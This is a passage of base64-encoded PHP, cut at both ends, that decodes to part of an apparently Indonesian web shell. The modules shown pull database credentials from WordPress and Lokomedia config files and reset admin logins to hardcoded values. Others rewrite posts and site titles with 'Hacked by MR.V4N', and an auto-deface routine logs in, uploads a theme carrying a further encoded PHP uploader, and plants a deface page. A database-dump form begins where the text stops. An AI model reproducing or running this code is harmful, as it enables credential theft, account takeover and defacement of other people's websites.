vdT48L2E+PGJyPiI7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQnIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0PC91PjwvYT4gWyA8Zm9udCBjb2xvcj1yZWQ+Z2F0YXUgYWRtaW4gbG9naW4gbnlhIGRpbWFuYSA6cDwvZm9udD4gXTxicj4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgbGV2ZWw9J2FkbWluJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IExva29tZWRpYTxicj4iOw0KCQkJCQlpZihwcmVnX21hdGNoKCcvZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWEvJywgJHVybF90YXJnZXQpKSB7DQoJCQkJCQllY2hvICR1cmxfdGFyZ2V0MjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJHVybF90YXJnZXQ7DQoJCQkJCX0NCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+c3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gZWxzZSB7DQoJCWVjaG8gIjxjZW50ZXI+DQoJCTxoMT5BdXRvIEVkaXQgVXNlciBDb25maWc8L2gxPg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQlESVIgQ29uZmlnOiA8YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgbmFtZT0nY29uZmlnX2RpcicgdmFsdWU9JyRkaXInPjxicj48YnI+DQoJCVNldCBVc2VyICYgUGFzczogPGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcl9iYXJ1JyB2YWx1ZT0ndm90cjEyMycgcGxhY2Vob2xkZXI9J3VzZXJfYmFydSc+PGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzc19iYXJ1JyB2YWx1ZT0ndm90cnNoZWxsMTIzJyBwbGFjZWhvbGRlcj0ncGFzc19iYXJ1Jz48YnI+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2hhamFyJyB2YWx1ZT0nSGFqYXIhJyBzdHlsZT0nd2lkdGg6IDIxNXB4Oyc+DQoJCTwvZm9ybT4NCgkJPHNwYW4+TkI6IFRvb2xzIGluaSB3b3JrIGppa2EgZGlqYWxhbmthbiBkaSBkYWxhbSBmb2xkZXIgPHU+Y29uZmlnPC91PiAoIGV4OiAvaG9tZS91c2VyL3B1YmxpY19odG1sL25hbWFfZm9sZGVyX2NvbmZpZyApPC9zcGFuPjxicj4NCgkJIjsNCgl9DQp9DQovL2F1dG8gZWRpdCB0aXRsZQ0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2F1dG9fd3AnKSB7DQoJaWYoJF9QT1NUWydoYWphciddKSB7DQoJCSR0aXRsZSA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyduZXdfdGl0bGUnXSk7DQoJCSRwbl90aXRsZSA9IHN0cl9yZXBsYWNlKCIgIiwgIi0iLCAkdGl0bGUpOw0KCQlpZigkX1BPU1RbJ2Nla19lZGl0J10gPT0gIlkiKSB7DQoJCQkkc2NyaXB0ID0gJF9QT1NUWydlZGl0X2NvbnRlbnQnXTsNCgkJfSBlbHNlIHsNCgkJCSRzY3JpcHQgPSAkdGl0bGU7DQoJCX0NCgkJJGNvbmYgPSAkX1BPU1RbJ2NvbmZpZ19kaXInXTsNCgkJJHNjYW5fY29uZiA9IHNjYW5kaXIoJGNvbmYpOw0KCQlmb3JlYWNoKCRzY2FuX2NvbmYgYXMgJGZpbGVfY29uZikgew0KCQkJaWYoIWlzX2ZpbGUoIiRjb25mLyRmaWxlX2NvbmYiKSkgY29udGludWU7DQoJCQkkY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoIiRjb25mLyRmaWxlX2NvbmYiKTsNCgkJCWlmKHByZWdfbWF0Y2goIi9Xb3JkUHJlc3MvIiwgJGNvbmZpZykpIHsNCgkJCQkkZGJob3N0ID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX0hPU1QnLCAnIiwiJyIpOw0KCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7DQoJCQkJJGRicGFzcyA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJJGRibmFtZSA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9OQU1FJywgJyIsIiciKTsNCgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7DQoJCQkJJHByZWZpeCA9ICRkYnByZWZpeC4icG9zdHMiOw0KCQkJCSRvcHRpb24gPSAkZGJwcmVmaXguIm9wdGlvbnMiOw0KCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7DQoJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHByZWZpeCBPUkRFUiBCWSBJRCBBU0MiKTsNCgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOw0KCQkJCSRpZCA9ICRyZXN1bHRbSURdOw0KCQkJCSRxMiA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgb3B0aW9uX2lkIEFTQyIpOw0KCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsNCgkJCQkkdGFyZ2V0ID0gJHJlc3VsdDJbb3B0aW9uX3ZhbHVlXTsNCgkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCBwb3N0X3RpdGxlPSckdGl0bGUnLHBvc3RfY29udGVudD0nJHNjcmlwdCcscG9zdF9uYW1lPSckcG5fdGl0bGUnLHBvc3Rfc3RhdHVzPSdwdWJsaXNoJyxjb21tZW50X3N0YXR1cz0nb3BlbicscGluZ19zdGF0dXM9J29wZW4nLHBvc3RfdHlwZT0ncG9zdCcsY29tbWVudF9jb3VudD0nMScgV0hFUkUgaWQ9JyRpZCciKTsNCgkJCQkkdXBkYXRlIC49IG15c3FsX3F1ZXJ5KCJVUERBVEUgJG9wdGlvbiBTRVQgb3B0aW9uX3ZhbHVlPSckdGl0bGUnIFdIRVJFIG9wdGlvbl9uYW1lPSdibG9nbmFtZScgT1Igb3B0aW9uX25hbWU9J2Jsb2dkZXNjcmlwdGlvbiciKTsNCgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc+IjsNCgkJCQlpZigkdGFyZ2V0ID09ICcnKSB7DQoJCQkJCWVjaG8gIlVSTDogPGZvbnQgY29sb3I9cmVkPmVycm9yLCBnYWJpc2EgYW1iaWwgbmFtYSBkb21haW4gbnlhPC9mb250PiAtPiAiOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWVjaG8gIlVSTDogPGEgaHJlZj0nJHRhcmdldC8/cD0kaWQnIHRhcmdldD0nX2JsYW5rJz4kdGFyZ2V0Lz9wPSRpZDwvYT4gLT4gIjsNCgkJCQl9DQoJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJZWNobyAiPGZvbnQgY29sb3I9cmVkPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+IjsNCgkJCQl9IGVsc2Ugew0KCQkJCQllY2hvICI8Zm9udCBjb2xvcj1saW1lPnN1a3NlcyBkaSBnYW50aS48L2ZvbnQ+PGJyPiI7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvZGl2PiI7DQoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsNCgkJZWNobyAiPGNlbnRlcj4NCgkJPGgxPkF1dG8gRWRpdCBUaXRsZStDb250ZW50IFdvcmRQcmVzczwvaDE+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCURJUiBDb25maWc6IDxicj4NCgkJPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUwJyBuYW1lPSdjb25maWdfZGlyJyB2YWx1ZT0nJGRpcic+PGJyPjxicj4NCgkJU2V0IFRpdGxlOiA8YnI+DQoJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduZXdfdGl0bGUnIHZhbHVlPSdIYWNrZWQgYnkgTVIuVjROJyBwbGFjZWhvbGRlcj0nTmV3IFRpdGxlJz48YnI+PGJyPg0KCQlFZGl0IENvbnRlbnQ/OiA8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J2Nla19lZGl0JyB2YWx1ZT0nWScgY2hlY2tlZD5ZPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdjZWtfZWRpdCcgdmFsdWU9J04nPk48YnI+DQoJCTxzcGFuPkppa2EgcGlsaWggPHU+WTwvdT4gbWFzdWtpbiBzY3JpcHQgZGVmYWNlbXUgKCBzYXJhbiB5YW5nIHNpbXBsZSBhamEgKSwga2FsbyBwaWxpaCA8dT5OPC91PiBnYXVzYWggZGkgaXNpLjwvc3Bhbj48YnI+DQoJCTx0ZXh0YXJlYSBuYW1lPSdlZGl0X2NvbnRlbnQnIHBsYWNlaG9sZGVyPSdjb250b2ggc2NyaXB0OiBodHRwOi8vcGFzdGViaW4uY29tL0VwUDY3MWdLJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDE1MHB4Oyc+PC90ZXh0YXJlYT48YnI+DQoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2hhamFyJyB2YWx1ZT0nSGFqYXIhJyBzdHlsZT0nd2lkdGg6IDQ1MHB4Oyc+PGJyPg0KCQk8L2Zvcm0+DQoJCTxzcGFuPk5COiBUb29scyBpbmkgd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj48YnI+DQoJCSI7DQoJfQ0KfQ0KLy9hdXRvIGRlZmFjZSB3cA0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2F1dG9fZHdwJykgew0KCWlmKCRfUE9TVFsnYXV0b19kZWZhY2Vfd3AnXSkgew0KCQlmdW5jdGlvbiBhbnVjdXJsKCRzaXRlcykgew0KICAgIAkJJGNoID0gY3VybF9pbml0KCRzaXRlcyk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IHJ2OjMyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzIuMCIpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsNCgkgICAgICAgCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCB0cnVlKTsNCgkJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7DQoJCQkJICBjdXJsX2Nsb3NlKCRjaCk7DQoJCQlyZXR1cm4gJGRhdGE7DQoJCX0NCgkJZnVuY3Rpb24gbG9oZ2luKCRjZWssICR3ZWIsICR1c2VyciwgJHBhc3MsICR3cF9zdWJtaXQpIHsNCiAgICAJCSRwb3N0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgImxvZyIgPT4gIiR1c2VyciIsDQogICAgICAgICAgICAgICAgICAgInB3ZCIgPT4gIiRwYXNzIiwNCiAgICAgICAgICAgICAgICAgICAicmVtZW1iZXJtZSIgPT4gImZvcmV2ZXIiLA0KICAgICAgICAgICAgICAgICAgICJ3cC1zdWJtaXQiID0+ICIkd3Bfc3VibWl0IiwNCiAgICAgICAgICAgICAgICAgICAicmVkaXJlY3RfdG8iID0+ICIkd2ViIiwNCiAgICAgICAgICAgICAgICAgICAidGVzdGNvb2tpZSIgPT4gIjEiLA0KICAgICAgICAgICAgICAgICAgICk7DQoJCQkkY2ggPSBjdXJsX2luaXQoJGNlayk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IHJ2OjMyLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzIuMCIpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQoJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvc3QpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KCQkJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsNCgkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCB0cnVlKTsNCgkJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7DQoJCQkJICBjdXJsX2Nsb3NlKCRjaCk7DQoJCQlyZXR1cm4gJGRhdGE7DQoJCX0NCgkJJHNjYW4gPSAkX1BPU1RbJ2xpbmtfY29uZmlnJ107DQoJCSRsaW5rX2NvbmZpZyA9IHNjYW5kaXIoJHNjYW4pOw0KCQkkc2NyaXB0ID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NjcmlwdCddKTsNCgkJJHVzZXIgPSAidm90cjEyMyI7DQoJCSRwYXNzID0gInZvdHJzaGVsbDEyMyI7DQoJCSRwYXNzeCA9IG1kNSgkcGFzcyk7DQoJCWZvcmVhY2goJGxpbmtfY29uZmlnIGFzICRkaXJfY29uZmlnKSB7DQoJCQlpZighaXNfZmlsZSgiJHNjYW4vJGRpcl9jb25maWciKSkgY29udGludWU7DQoJCQkkY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoIiRzY2FuLyRkaXJfY29uZmlnIik7DQoJCQlpZihwcmVnX21hdGNoKCIvV29yZFByZXNzLyIsICRjb25maWcpKSB7DQoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsNCgkJCQkkZGJ1c2VyID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1VTRVInLCAnIiwiJyIpOw0KCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfUEFTU1dPUkQnLCAnIiwiJyIpOw0KCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7DQoJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguInVzZXJzIjsNCgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsNCgkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCSRkYiA9IG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgaWQgQVNDIik7DQoJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkkaWQgPSAkcmVzdWx0W0lEXTsNCgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsNCgkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJJHRhcmdldCA9ICRyZXN1bHQyW29wdGlvbl92YWx1ZV07DQoJCQkJaWYoJHRhcmdldCA9PSAnJykgewkJCQkJDQoJCQkJCWVjaG8gIlstXSA8Zm9udCBjb2xvcj1yZWQ+ZXJyb3IsIGdhYmlzYSBhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+PGJyPiI7DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAiWytdICR0YXJnZXQgPGJyPiI7DQoJCQkJfQ0KCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJfbG9naW49JyR1c2VyJyx1c2VyX3Bhc3M9JyRwYXNzeCcgV0hFUkUgSUQ9JyRpZCciKTsNCgkJCQlpZighJGNvbm4gT1IgISRkYiBPUiAhJHVwZGF0ZSkgew0KCQkJCQllY2hvICJbLV0gTXlTUUwgRXJyb3I6IDxmb250IGNvbG9yPXJlZD4iLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCW15c3FsX2Nsb3NlKCRjb25uKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkc2l0ZSA9ICIkdGFyZ2V0L3dwLWxvZ2luLnBocCI7DQoJCQkJCSRzaXRlMiA9ICIkdGFyZ2V0L3dwLWFkbWluL3RoZW1lLWluc3RhbGwucGhwP3VwbG9hZCI7DQoJCQkJCSRiMSA9IGFudWN1cmwoJHNpdGUyKTsNCgkJCQkJJHdwX3N1YiA9IGFtYmlsa2F0YSgkYjEsICJpZD1cIndwLXN1Ym1pdFwiIGNsYXNzPVwiYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IGJ1dHRvbi1sYXJnZVwiIHZhbHVlPVwiIiwiXCIgLz4iKTsNCgkJCQkJJGIgPSBsb2hnaW4oJHNpdGUsICRzaXRlMiwgJHVzZXIsICRwYXNzLCAkd3Bfc3ViKTsNCgkJCQkJJGFudTIgPSBhbWJpbGthdGEoJGIsIm5hbWU9XCJfd3Bub25jZVwiIHZhbHVlPVwiIiwiXCIgLz4iKTsNCgkJCQkJJHVwbG9hZDMgPSBiYXNlNjRfZGVjb2RlKCJaMkZ1ZEdWdVp3MEtQRDl3YUhBTkNpUm1hV3hsTXlBOUlDUmZSa2xNUlZOYkoyWnBiR1V6SjEwN0RRb2dJQ1J1WlhkbWFXeGxNejBpYXk1d2FIQWlPdzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtSUNobWFXeGxYMlY0YVhOMGN5Z2lMaTR2TGk0dkxpNHZMaTR2SWk0a2JtVjNabWxzWlRNcEtTQjFibXhwYm1zb0lpNHVMeTR1THk0dUx5NHVMeUl1Skc1bGQyWnBiR1V6S1RzTkNpQWdJQ0FnSUNBZ2JXOTJaVjkxY0d4dllXUmxaRjltYVd4bEtDUm1hV3hsTTFzbmRHMXdYMjVoYldVblhTd2dJaTR1THk0dUx5NHVMeTR1THlSdVpYZG1hV3hsTXlJcE93MEtEUW8vUGc9PSIpOw0KCQkJCQkkd3d3ID0gIm0ucGhwIjsNCgkJCQkJJGZwNSA9IGZvcGVuKCR3d3csInciKTsNCgkJCQkJZnB1dHMoJGZwNSwkdXBsb2FkMyk7DQoJCQkJCSRwb3N0MiA9IGFycmF5KA0KCQkJCQkJCSJfd3Bub25jZSIgPT4gIiRhbnUyIiwNCgkJCQkJCQkiX3dwX2h0dHBfcmVmZXJlciIgPT4gIi93cC1hZG1pbi90aGVtZS1pbnN0YWxsLnBocD91cGxvYWQiLA0KCQkJCQkJCSJ0aGVtZXppcCIgPT4gIkAkd3d3IiwNCgkJCQkJCQkiaW5zdGFsbC10aGVtZS1zdWJtaXQiID0+ICJJbnN0YWxsIE5vdyIsDQoJCQkJCQkJKTsNCgkJCQkJJGNoID0gY3VybF9pbml0KCIkdGFyZ2V0L3dwLWFkbWluL3VwZGF0ZS5waHA/YWN0aW9uPXVwbG9hZC10aGVtZSIpOw0KCQkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCQkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KCQkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KCQkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KCQkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdDIpOw0KCQkJCQkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCdjb29raWUudHh0Jyk7DQoJCQkJCQkgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCdjb29raWUudHh0Jyk7DQoJCQkJCSAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCB0cnVlKTsNCgkJCQkJJGRhdGEzID0gY3VybF9leGVjKCRjaCk7DQoJCQkJCQkgIGN1cmxfY2xvc2UoJGNoKTsNCgkJCQkJJHkgPSBkYXRlKCJZIik7DQoJCQkJCSRtID0gZGF0ZSgibSIpOw0KCQkJCQkkbmFtYWZpbGUgPSAiaWQucGhwIjsNCgkJCQkJJGZwaSA9IGZvcGVuKCRuYW1hZmlsZSwidyIpOw0KCQkJCQlmcHV0cygkZnBpLCRzY3JpcHQpOw0KCQkJCQkkY2g2ID0gY3VybF9pbml0KCIkdGFyZ2V0L3dwLWNvbnRlbnQvdXBsb2Fkcy8keS8kbS8kd3d3Iik7DQoJCQkJCQkgICBjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX1BPU1QsIHRydWUpOw0KCQkJCQkJICAgY3VybF9zZXRvcHQoJGNoNiwgQ1VSTE9QVF9QT1NURklFTERTLCBhcnJheSgnZmlsZTMnPT4iQCRuYW1hZmlsZSIpKTsNCgkJCQkJCSAgIGN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCQkJCQkJICAgY3VybF9zZXRvcHQoJGNoNiwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiY29va2llLnR4dCIpOw0KCSAgICAgICAJCSAgCQkgICBjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOw0KCSAgICAgICAJCSAgCQkgICBjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIHRydWUpOw0KCQkJCQkkcG9zdFJlc3VsdCA9IGN1cmxfZXhlYygkY2g2KTsNCgkJCQkJCSAgIGN1cmxfY2xvc2UoJGNoNik7DQoJCQkJCSRhcyA9ICIkdGFyZ2V0L2sucGhwIjsNCgkJCQkJJGJzID0gYW51Y3VybCgkYXMpOw0KCQkJCQlpZihwcmVnX21hdGNoKCIjJHNjcmlwdCNpcyIsICRicykpIHsNCiAgICAgICAgICAgIAkgICAgICAgCWVjaG8gIlsrXSA8Zm9udCBjb2xvcj0nbGltZSc+YmVyaGFzaWwgbWVwZXMuLi48L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAJICAgICAgIAllY2hvICJbK10gPGEgaHJlZj0nJGFzJyB0YXJnZXQ9J19ibGFuayc+JGFzPC9hPjxicj48YnI+IjsgDQogICAgICAgICAgICAJICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgCSAgICAgICAgZWNobyAiWy1dIDxmb250IGNvbG9yPSdyZWQnPmdhZ2FsIG1lcGVzLi4uPC9mb250Pjxicj4iOw0KICAgICAgICAgICAgCSAgICAgICAgZWNobyAiWyEhXSBjb2JhIGFqYSBtYW51YWw6IDxicj4iOw0KICAgICAgICAgICAgCSAgICAgICAgZWNobyAiWytdIDxhIGhyZWY9JyR0YXJnZXQvd3AtbG9naW4ucGhwJyB0YXJnZXQ9J19ibGFuayc+JHRhcmdldC93cC1sb2dpbi5waHA8L2E+PGJyPiI7DQogICAgICAgICAgICAJICAgICAgICBlY2hvICJbK10gdXNlcm5hbWU6IDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAJICAgICAgICBlY2hvICJbK10gcGFzc3dvcmQ6IDxmb250IGNvbG9yPWxpbWU+JHBhc3M8L2ZvbnQ+PGJyPjxicj4iOyAgICAgDQogICAgICAgICAgICAJICAgICAgICB9DQogICAgICAgICAgICAJCW15c3FsX2Nsb3NlKCRjb25uKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9IGVsc2Ugew0KCQllY2hvICI8Y2VudGVyPjxoMT5Xb3JkUHJlc3MgQXV0byBEZWZhY2U8L2gxPg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbGlua19jb25maWcnIHNpemU9JzUwJyBoZWlnaHQ9JzEwJyB2YWx1ZT0nJGRpcic+PGJyPg0KCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2NyaXB0JyBoZWlnaHQ9JzEwJyBzaXplPSc1MCcgcGxhY2Vob2xkZXI9J0hhY2tlZCBieSBNUi5WNE4nIHJlcXVpcmVkPjxicj4NCgkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIG5hbWU9J2F1dG9fZGVmYWNlX3dwJyB2YWx1ZT0nSGFqYXIhISc+DQoJCTwvZm9ybT4NCgkJPGJyPjxzcGFuPk5COiBUb29scyBpbmkgd29yayBqaWthIGRpamFsYW5rYW4gZGkgZGFsYW0gZm9sZGVyIDx1PmNvbmZpZzwvdT4gKCBleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9uYW1hX2ZvbGRlcl9jb25maWcgKTwvc3Bhbj4NCgkJPC9jZW50ZXI+IjsNCgl9DQp9DQovL2RiZHVtcA0KZWxzZWlmKCRfR0VUWyd2b3RyJ10gPT0gJ2RiZHVtcCcpDQogICAgew0KZWNobyAkaGVhZC4nPHAgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJw0KPGZvcm0gYWN0aW9uIG1ldGhvZD1wb3N0Pg0KPHRhYmxlIHdpZHRoPTM3MSBjbGFzcz10YWJuZXQgPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj5EYXRhYmFzZSBEdW1wPC90aD48L3RyPg0KPHRyPg0KCTx0ZD5TZXJ2ZXIgPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1